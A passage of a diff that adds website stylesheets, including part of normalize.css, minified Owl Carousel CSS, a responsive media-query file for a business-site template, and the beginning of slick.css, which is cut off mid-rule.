|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* 1. Remove the gray background on active links in IE 10.
|
||||
* 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent; /* 1 */
|
||||
-webkit-text-decoration-skip: objects; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Remove the bottom border in Chrome 57- and Firefox 39-.
|
||||
* 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: none; /* 1 */
|
||||
text-decoration: underline; /* 2 */
|
||||
text-decoration: underline dotted; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent the duplicate application of `bolder` by the next rule in Safari 6.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: inherit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct font weight in Chrome, Edge, and Safari.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bolder;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the inheritance and scaling of font size in all browsers.
|
||||
* 2. Correct the odd `em` font sizing in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
samp {
|
||||
font-family: monospace, monospace; /* 1 */
|
||||
font-size: 1em; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct font style in Android 4.3-.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct background and color in IE 9-.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background-color: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` elements from affecting the line height in
|
||||
* all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
*/
|
||||
|
||||
audio,
|
||||
video {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct display in iOS 4-7.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the border on images inside links in IE 10-.
|
||||
*/
|
||||
|
||||
img {
|
||||
border-style: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide the overflow in IE.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the margin in Firefox and Safari.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Show the overflow in IE.
|
||||
* 1. Show the overflow in Edge.
|
||||
*/
|
||||
|
||||
button,
|
||||
input { /* 1 */
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the inheritance of text transform in Edge, Firefox, and IE.
|
||||
* 1. Remove the inheritance of text transform in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select { /* 1 */
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
|
||||
* controls in Android 4.
|
||||
* 2. Correct the inability to style clickable types in iOS and Safari.
|
||||
*/
|
||||
|
||||
button,
|
||||
html [type="button"], /* 1 */
|
||||
[type="reset"],
|
||||
[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the inner border and padding in Firefox.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
[type="button"]::-moz-focus-inner,
|
||||
[type="reset"]::-moz-focus-inner,
|
||||
[type="submit"]::-moz-focus-inner {
|
||||
border-style: none;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore the focus styles unset by the previous rule.
|
||||
*/
|
||||
|
||||
button:-moz-focusring,
|
||||
[type="button"]:-moz-focusring,
|
||||
[type="reset"]:-moz-focusring,
|
||||
[type="submit"]:-moz-focusring {
|
||||
outline: 1px dotted ButtonText;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the text wrapping in Edge and IE.
|
||||
* 2. Correct the color inheritance from `fieldset` elements in IE.
|
||||
* 3. Remove the padding so developers are not caught out when they zero out
|
||||
* `fieldset` elements in all browsers.
|
||||
*/
|
||||
|
||||
legend {
|
||||
box-sizing: border-box; /* 1 */
|
||||
color: inherit; /* 2 */
|
||||
display: table; /* 1 */
|
||||
max-width: 100%; /* 1 */
|
||||
padding: 0; /* 3 */
|
||||
white-space: normal; /* 1 */
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Add the correct display in IE 9-.
|
||||
* 2. Add the correct vertical alignment in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
progress {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the default vertical scrollbar in IE.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Add the correct box sizing in IE 10-.
|
||||
* 2. Remove the padding in IE 10-.
|
||||
*/
|
||||
|
||||
[type="checkbox"],
|
||||
[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct the cursor style of increment and decrement buttons in Chrome.
|
||||
*/
|
||||
|
||||
[type="number"]::-webkit-inner-spin-button,
|
||||
[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the odd appearance in Chrome and Safari.
|
||||
* 2. Correct the outline style in Safari.
|
||||
*/
|
||||
|
||||
[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
outline-offset: -2px; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the inner padding and cancel buttons in Chrome and Safari on macOS.
|
||||
*/
|
||||
|
||||
[type="search"]::-webkit-search-cancel-button,
|
||||
[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct the inability to style clickable types in iOS and Safari.
|
||||
* 2. Change font properties to `inherit` in Safari.
|
||||
*/
|
||||
|
||||
::-webkit-file-upload-button {
|
||||
-webkit-appearance: button; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
}
|
||||
|
||||
/* Interactive
|
||||
========================================================================== */
|
||||
|
||||
/*
|
||||
* Add the correct display in IE 9-.
|
||||
* 1. Add the correct display in Edge, IE, and Firefox.
|
||||
*/
|
||||
|
||||
details, /* 1 */
|
||||
menu {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add the correct display in all browsers.
|
||||
*/
|
||||
|
||||
summary {
|
||||
display: list-item;
|
||||
}
|
||||
|
||||
/* Scripting
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 9-.
|
||||
*/
|
||||
|
||||
canvas {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add the correct display in IE.
|
||||
*/
|
||||
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Hidden
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Add the correct display in IE 10-.
|
||||
*/
|
||||
|
||||
[hidden] {
|
||||
display: none;
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
/**
|
||||
* Owl Carousel v2.3.3
|
||||
* Copyright 2013-2018 David Deutsch
|
||||
* Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
|
||||
*/
|
||||
.owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-callout:none}.owl-carousel .owl-item img{display:block;width:100%}.owl-carousel .owl-dots.disabled,.owl-carousel .owl-nav.disabled{display:none}.no-js .owl-carousel,.owl-carousel.owl-loaded{display:block}.owl-carousel .owl-dot,.owl-carousel .owl-nav .owl-next,.owl-carousel .owl-nav .owl-prev{cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel .owl-nav button.owl-next,.owl-carousel .owl-nav button.owl-prev,.owl-carousel button.owl-dot{background:0 0;color:inherit;border:none;padding:0!important;font:inherit}.owl-carousel.owl-loading{opacity:0;display:block}.owl-carousel.owl-hidden{opacity:0}.owl-carousel.owl-refresh .owl-item{visibility:hidden}.owl-carousel.owl-drag .owl-item{-ms-touch-action:none;touch-action:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.owl-carousel.owl-grab{cursor:move;cursor:grab}.owl-carousel.owl-rtl{direction:rtl}.owl-carousel.owl-rtl .owl-item{float:right}.owl-carousel .animated{animation-duration:1s;animation-fill-mode:both}.owl-carousel .owl-animated-in{z-index:0}.owl-carousel .owl-animated-out{z-index:1}.owl-carousel .fadeOut{animation-name:fadeOut}@keyframes fadeOut{0%{opacity:1}100%{opacity:0}}.owl-height{transition:height .5s ease-in-out}.owl-carousel .owl-item .owl-lazy{opacity:0;transition:opacity .4s ease}.owl-carousel .owl-item img.owl-lazy{transform-style:preserve-3d}.owl-carousel .owl-video-wrapper{position:relative;height:100%;background:#000}.owl-carousel .owl-video-play-icon{position:absolute;height:80px;width:80px;left:50%;top:50%;margin-left:-40px;margin-top:-40px;background:url(owl.video.play.png) no-repeat;cursor:pointer;z-index:1;-webkit-backface-visibility:hidden;transition:transform .1s ease}.owl-carousel .owl-video-play-icon:hover{-ms-transform:scale(1.3,1.3);transform:scale(1.3,1.3)}.owl-carousel .owl-video-playing .owl-video-play-icon,.owl-carousel .owl-video-playing .owl-video-tn{display:none}.owl-carousel .owl-video-tn{opacity:0;height:100%;background-position:center center;background-repeat:no-repeat;background-size:contain;transition:opacity .4s ease}.owl-carousel .owl-video-frame{position:relative;z-index:1;height:100%;width:100%}
|
||||
@@ -0,0 +1,669 @@
|
||||
/*--------------------------------------------------------------------- File Name: responsive.css ---------------------------------------------------------------------*/
|
||||
|
||||
|
||||
/*------------------------------------------------------------------- 991px x 768px ---------------------------------------------------------------------*/
|
||||
|
||||
@media only screen and (min-width: 768px) and (max-width: 991px) {
|
||||
.header-search {
|
||||
padding: 15px 0px;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*------------------------------------------------------------------- 767px x 599px ---------------------------------------------------------------------*/
|
||||
|
||||
@media only screen and (min-width: 599px) and (max-width: 767px) {
|
||||
.logo {
|
||||
text-align: center;
|
||||
}
|
||||
.cart-content-right {
|
||||
padding-bottom: 5px;
|
||||
}
|
||||
.mg {
|
||||
margin: 0px 0px;
|
||||
}
|
||||
.menu-area-main {
|
||||
height: 256px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.megamenu>.row [class*="col-"] {
|
||||
padding: 0px;
|
||||
}
|
||||
.menu-area-main .megamenu .men-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .women-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .el-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.mean-container .mean-nav ul li a.mean-expand {
|
||||
height: 19px;
|
||||
}
|
||||
.category-box.women-box {
|
||||
display: none;
|
||||
}
|
||||
.cart-box {
|
||||
display: inline-block;
|
||||
margin: 0px 30px;
|
||||
}
|
||||
.wish-box {
|
||||
float: none;
|
||||
margin: 0px 30px;
|
||||
display: inline-block;
|
||||
}
|
||||
.menu-add {
|
||||
display: none;
|
||||
}
|
||||
.category-box {
|
||||
display: none;
|
||||
}
|
||||
.mean-container .mean-nav ul li ol {
|
||||
padding: 0px;
|
||||
}
|
||||
.mean-container .mean-nav ul li a {
|
||||
padding: 10px 20px;
|
||||
width: 94.8%;
|
||||
}
|
||||
.mean-container .mean-nav ul li li a {
|
||||
width: 92%;
|
||||
padding: 1em 4%;
|
||||
}
|
||||
.mean-container .mean-nav ul li li li a {
|
||||
width: 100%;
|
||||
}
|
||||
.header-search {
|
||||
padding: 15px 0px;
|
||||
}
|
||||
#collapseFilter.d-md-block {
|
||||
padding: 30px 0px;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*------------------------------------------------------------------- 599px x 280px ---------------------------------------------------------------------*/
|
||||
|
||||
@media only screen and (min-width: 280px) and (max-width: 599px) {
|
||||
.cart-content-right {
|
||||
padding-bottom: 5px;
|
||||
}
|
||||
.megamenu>.row [class*="col-"] {
|
||||
padding: 0px;
|
||||
}
|
||||
.menu-area-main .megamenu .men-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .women-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.menu-area-main .megamenu .el-cat {
|
||||
padding: 0px 15px;
|
||||
}
|
||||
.mean-container .mean-nav ul li a {
|
||||
padding: 1em 4%;
|
||||
width: 92%;
|
||||
}
|
||||
.mean-container .mean-nav ul li li a {
|
||||
width: 90%;
|
||||
padding: 1em 5%;
|
||||
}
|
||||
.mean-container .sub-full.megamenu-categories ol li a {
|
||||
padding: 5px 0px;
|
||||
text-transform: capitalize;
|
||||
width: 100%;
|
||||
}
|
||||
.megamenu .sub-full.megamenu-categories .women-box .banner-up-text a {
|
||||
width: auto;
|
||||
border: none;
|
||||
float: none;
|
||||
}
|
||||
.menu-area-main {
|
||||
height: 45px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.mean-container .mean-nav ul li a.mean-expand {
|
||||
top: 0;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 992px) and (max-width: 1199px) {
|
||||
.header_section {
|
||||
padding: 0px;
|
||||
background-size: cover;
|
||||
}
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
.about_taital_main {
|
||||
padding-left: 25px;
|
||||
padding-top: 40px;
|
||||
}
|
||||
.about_text {
|
||||
padding-top: 0px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.readmore_bt {
|
||||
margin-top: 30px;
|
||||
}
|
||||
.blog_section {
|
||||
background-size: 100% 100%;
|
||||
padding-bottom: 220px;
|
||||
padding-top: 160px;
|
||||
}
|
||||
.play_icon_main {
|
||||
margin-top: 50px;
|
||||
}
|
||||
.client_taital {
|
||||
padding-top: 0px;
|
||||
}
|
||||
.box_left {
|
||||
width: 60%;
|
||||
}
|
||||
.box_right {
|
||||
width: 40%;
|
||||
}
|
||||
.lorem_text {
|
||||
padding: 100px 40px;
|
||||
}
|
||||
.client_taital_left {
|
||||
width: 50%;
|
||||
float: left;
|
||||
}
|
||||
.client_taital_right {
|
||||
width: 50%;
|
||||
float: left;
|
||||
padding-left: 20px;
|
||||
}
|
||||
.client_section_2 {
|
||||
padding: 40px 30px;
|
||||
}
|
||||
.client_name {
|
||||
padding-top: 25px;
|
||||
}
|
||||
.choose_section {
|
||||
padding-top: 0px;
|
||||
}
|
||||
.choose_text {
|
||||
width: 100%;
|
||||
}
|
||||
.footer_section {
|
||||
padding-top: 270px;
|
||||
background-size: cover;
|
||||
padding-bottom: 30px;
|
||||
}
|
||||
.input_btn_main {
|
||||
width: 60%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 768px) and (max-width: 991px) {
|
||||
.header_section {
|
||||
padding: 0px;
|
||||
background-size: cover;
|
||||
}
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
.about_taital_main {
|
||||
padding-left: 25px;
|
||||
padding-top: 0px;
|
||||
}
|
||||
.about_text {
|
||||
padding-top: 0px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.readmore_bt {
|
||||
margin-top: 30px;
|
||||
}
|
||||
.about_img {
|
||||
height: 340px;
|
||||
}
|
||||
.blog_section {
|
||||
background-size: 100% 100%;
|
||||
padding-bottom: 220px;
|
||||
padding-top: 160px;
|
||||
}
|
||||
.play_icon_main {
|
||||
margin-top: 50px;
|
||||
}
|
||||
.client_taital {
|
||||
padding-top: 0px;
|
||||
}
|
||||
.box_left {
|
||||
width: 60%;
|
||||
}
|
||||
.box_right {
|
||||
width: 40%;
|
||||
}
|
||||
.lorem_text {
|
||||
padding: 30px 10px;
|
||||
}
|
||||
.client_taital_left {
|
||||
width: 50%;
|
||||
float: left;
|
||||
}
|
||||
.client_taital_right {
|
||||
width: 50%;
|
||||
float: left;
|
||||
padding-left: 20px;
|
||||
}
|
||||
.client_section_2 {
|
||||
padding: 40px 30px;
|
||||
}
|
||||
.client_name {
|
||||
padding-top: 25px;
|
||||
}
|
||||
.choose_section {
|
||||
padding-top: 0px;
|
||||
}
|
||||
.choose_text {
|
||||
width: 100%;
|
||||
}
|
||||
.footer_section {
|
||||
padding-top: 230px;
|
||||
background-size: cover;
|
||||
padding-bottom: 30px;
|
||||
}
|
||||
.input_btn_main {
|
||||
width: 90%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 576px) and (max-width: 767px) {
|
||||
.navbar-light .navbar-toggler {
|
||||
color: rgba(0, 0, 0, .5);
|
||||
border-color: transparent;
|
||||
}
|
||||
#main_slider a.carousel-control-prev {
|
||||
position: absolute;
|
||||
left: 175px;
|
||||
top: 90%;
|
||||
display: none;
|
||||
}
|
||||
#main_slider a.carousel-control-next {
|
||||
position: absolute;
|
||||
left: 236px;
|
||||
top: 90%;
|
||||
display: none;
|
||||
}
|
||||
.header_section {
|
||||
background-image: url(../images/mobile-bg.png);
|
||||
background-size: cover;
|
||||
padding: 0px;
|
||||
}
|
||||
.navbar-toggler {
|
||||
background-color: #ffffff;
|
||||
}
|
||||
.logo {
|
||||
display: none;
|
||||
}
|
||||
.menu_main {
|
||||
display: none;
|
||||
}
|
||||
.logo_mobile {
|
||||
width: 40%;
|
||||
padding: 0px;
|
||||
text-align: left;
|
||||
}
|
||||
.mobile_menu {
|
||||
display: initial;
|
||||
}
|
||||
.banner_taital {
|
||||
font-size: 50px;
|
||||
}
|
||||
.bg-light {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
.header_main {
|
||||
padding: 0px;
|
||||
}
|
||||
.navbar-expand-lg .navbar-nav .nav-link {
|
||||
color: #ffffff;
|
||||
text-align: center;
|
||||
background: transparent;
|
||||
width: 100%;
|
||||
margin: 10px 0px;
|
||||
border-radius: 30px;
|
||||
}
|
||||
.nav-item {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.navbar-light .navbar-nav .nav-link:focus,
|
||||
.navbar-light .navbar-nav .nav-link:hover {
|
||||
color: #ffffff;
|
||||
background: blue;
|
||||
}
|
||||
.navbar-light .navbar-nav .active>.nav-link,
|
||||
.navbar-light .navbar-nav .nav-link.active,
|
||||
.navbar-light .navbar-nav .nav-link.show,
|
||||
.navbar-light .navbar-nav .show>.nav-link {
|
||||
color: #ffffff;
|
||||
background: red;
|
||||
}
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
.banner_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.services_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.services_section_2 {
|
||||
margin-top: 30px;
|
||||
}
|
||||
.services_img {
|
||||
margin-top: 40px;
|
||||
}
|
||||
.about_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.about_taital_main {
|
||||
padding-top: 0px;
|
||||
padding-left: 0px;
|
||||
}
|
||||
.about_text {
|
||||
font-size: 15px;
|
||||
}
|
||||
.about_img {
|
||||
padding-top: 30px;
|
||||
}
|
||||
.padding_right_0 {
|
||||
padding-right: 15px;
|
||||
}
|
||||
.blog_section {
|
||||
background-image: url(../images/blog-mobile-bg.png);
|
||||
background-size: cover;
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.blog_text {
|
||||
width: 100%;
|
||||
}
|
||||
.play_icon_main {
|
||||
margin-top: 40px;
|
||||
}
|
||||
.play_icon {
|
||||
width: 145px;
|
||||
}
|
||||
.client_section_2 {
|
||||
padding: 30px 20px;
|
||||
margin-top: 50px;
|
||||
}
|
||||
.client_main {
|
||||
display: inherit;
|
||||
}
|
||||
.box_left {
|
||||
width: 100%;
|
||||
}
|
||||
.lorem_text {
|
||||
padding: 30px 10px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.box_right {
|
||||
width: 100%;
|
||||
}
|
||||
.client_name {
|
||||
padding-top: 25px;
|
||||
}
|
||||
.client_taital_right {
|
||||
padding-left: 20px;
|
||||
}
|
||||
.choose_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
.choose_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.choose_text {
|
||||
width: 100%;
|
||||
font-size: 15px;
|
||||
}
|
||||
.newsletter_box {
|
||||
display: initial;
|
||||
}
|
||||
.let_text {
|
||||
font-size: 30px;
|
||||
text-align: center;
|
||||
}
|
||||
.getquote_bt {
|
||||
margin: 0 auto;
|
||||
}
|
||||
.footer_section {
|
||||
background-image: url(../images/footer-mobile-bg.png);
|
||||
background-size: cover;
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.input_btn_main {
|
||||
width: 100%;
|
||||
display: inherit;
|
||||
background-color: transparent !important;
|
||||
}
|
||||
.subscribe_bt {
|
||||
margin: 0 auto;
|
||||
text-align: center;
|
||||
width: 200px;
|
||||
float: initial;
|
||||
}
|
||||
.subscribe_bt a {
|
||||
width: 100%;
|
||||
background-color: #ffffff;
|
||||
margin-top: 50px;
|
||||
border-radius: 40px;
|
||||
margin-bottom: 50px;
|
||||
}
|
||||
.subscribe_bt a:hover {
|
||||
color: #000;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
.social_icon {
|
||||
display: inline-block;
|
||||
}
|
||||
.contact_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
.email_text {
|
||||
width: 100%;
|
||||
padding-top: 90px;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 575px) {
|
||||
.navbar-light .navbar-toggler {
|
||||
color: rgba(0, 0, 0, .5);
|
||||
border-color: transparent;
|
||||
}
|
||||
#main_slider a.carousel-control-prev {
|
||||
position: absolute;
|
||||
left: 175px;
|
||||
top: 90%;
|
||||
display: none;
|
||||
}
|
||||
#main_slider a.carousel-control-next {
|
||||
position: absolute;
|
||||
left: 236px;
|
||||
top: 90%;
|
||||
display: none;
|
||||
}
|
||||
.header_section {
|
||||
background-image: url(../images/mobile-bg.png);
|
||||
background-size: cover;
|
||||
padding: 0px;
|
||||
}
|
||||
.navbar-toggler {
|
||||
background-color: #ffffff;
|
||||
}
|
||||
.logo {
|
||||
display: none;
|
||||
}
|
||||
.menu_main {
|
||||
display: none;
|
||||
}
|
||||
.logo_mobile {
|
||||
width: 40%;
|
||||
padding: 0px;
|
||||
}
|
||||
.mobile_menu {
|
||||
display: initial;
|
||||
}
|
||||
.banner_taital {
|
||||
font-size: 50px;
|
||||
}
|
||||
.bg-light {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
.header_main {
|
||||
padding: 0px;
|
||||
}
|
||||
.navbar-expand-lg .navbar-nav .nav-link {
|
||||
color: #ffffff;
|
||||
text-align: center;
|
||||
background: transparent;
|
||||
width: 100%;
|
||||
margin: 10px 0px;
|
||||
border-radius: 30px;
|
||||
}
|
||||
.nav-item {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.navbar-light .navbar-nav .nav-link:focus,
|
||||
.navbar-light .navbar-nav .nav-link:hover {
|
||||
color: #ffffff;
|
||||
background: red;
|
||||
}
|
||||
.navbar-light .navbar-nav .active>.nav-link,
|
||||
.navbar-light .navbar-nav .nav-link.active,
|
||||
.navbar-light .navbar-nav .nav-link.show,
|
||||
.navbar-light .navbar-nav .show>.nav-link {
|
||||
color: #ffffff;
|
||||
background: red;
|
||||
}
|
||||
.banner_text {
|
||||
width: 100%;
|
||||
}
|
||||
.banner_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.services_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.services_section_2 {
|
||||
margin-top: 30px;
|
||||
}
|
||||
.services_img {
|
||||
margin-top: 40px;
|
||||
}
|
||||
.about_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.about_taital_main {
|
||||
padding-top: 0px;
|
||||
padding-left: 0px;
|
||||
}
|
||||
.about_text {
|
||||
font-size: 15px;
|
||||
}
|
||||
.about_img {
|
||||
padding-top: 30px;
|
||||
}
|
||||
.padding_right_0 {
|
||||
padding-right: 15px;
|
||||
}
|
||||
.blog_section {
|
||||
background-image: url(../images/blog-mobile-bg.png);
|
||||
background-size: cover;
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.blog_text {
|
||||
width: 100%;
|
||||
}
|
||||
.play_icon_main {
|
||||
margin-top: 40px;
|
||||
}
|
||||
.play_icon {
|
||||
width: 145px;
|
||||
}
|
||||
.client_section_2 {
|
||||
padding: 30px 20px;
|
||||
margin-top: 50px;
|
||||
}
|
||||
.client_main {
|
||||
display: inherit;
|
||||
}
|
||||
.box_left {
|
||||
width: 100%;
|
||||
}
|
||||
.lorem_text {
|
||||
padding: 30px 10px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.box_right {
|
||||
width: 100%;
|
||||
}
|
||||
.client_name {
|
||||
padding-top: 25px;
|
||||
}
|
||||
.client_taital_right {
|
||||
padding-left: 20px;
|
||||
}
|
||||
.choose_taital {
|
||||
font-size: 30px;
|
||||
}
|
||||
.choose_section {
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.choose_text {
|
||||
width: 100%;
|
||||
font-size: 15px;
|
||||
}
|
||||
.newsletter_box {
|
||||
display: initial;
|
||||
}
|
||||
.let_text {
|
||||
font-size: 30px;
|
||||
text-align: center;
|
||||
}
|
||||
.getquote_bt {
|
||||
margin: 0 auto;
|
||||
}
|
||||
.footer_section {
|
||||
background-image: url(../images/footer-mobile-bg.png);
|
||||
background-size: cover;
|
||||
padding: 50px 0px;
|
||||
}
|
||||
.input_btn_main {
|
||||
width: 100%;
|
||||
display: inherit;
|
||||
background-color: transparent !important;
|
||||
}
|
||||
.subscribe_bt {
|
||||
margin: 0 auto;
|
||||
text-align: center;
|
||||
width: 200px;
|
||||
float: initial;
|
||||
}
|
||||
.subscribe_bt a {
|
||||
width: 100%;
|
||||
background-color: #ffffff;
|
||||
margin-top: 50px;
|
||||
border-radius: 40px;
|
||||
margin-bottom: 50px;
|
||||
}
|
||||
.subscribe_bt a:hover {
|
||||
color: #000;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
.social_icon {
|
||||
display: inline-block;
|
||||
}
|
||||
.contact_taital {
|
||||
font-size: 28px;
|
||||
}
|
||||
.email_text {
|
||||
width: 100%;
|
||||
padding-top: 90px;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
/*---------------------------------------------------------------------
|
||||
File Name: slick.css
|
||||
---------------------------------------------------------------------*/
|
||||
|
||||
.slick-slider {
|
||||
position: relative;
|
||||
display: block;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
-webkit-touch-callout: none;
|
||||
-khtml-user-select: none;
|
||||
-ms-touch-action: pan-y;
|
||||
touch-action: pan-y;
|
||||
-webkit-tap-highlight-color: transparent;
|
||||
}
|
||||
|
||||
.slick-list {
|
||||
position: relative;
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.slick-list:focus {
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.slick-list.dragging {
|
||||
cursor: pointer;
|
||||
cursor: hand;
|
||||
}
|
||||
|
||||
.slick-slider .slick-track,
|
||||
.slick-slider .slick-list {
|
||||
-webkit-transform: translate3d(0, 0, 0);
|
||||
-moz-transform: translate3d(0, 0, 0);
|
||||
-ms-transform: translate3d(0, 0, 0);
|
||||
-o-transform: translate3d(0, 0, 0);
|
||||
transform: translate3d(0, 0, 0);
|
||||
}
|
||||
|
||||
.slick-track {
|
||||
position: relative;
|
||||
top: 0;
|
||||
left: 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.slick-track:before,
|
||||
.slick-track:after {
|
||||
display: table;
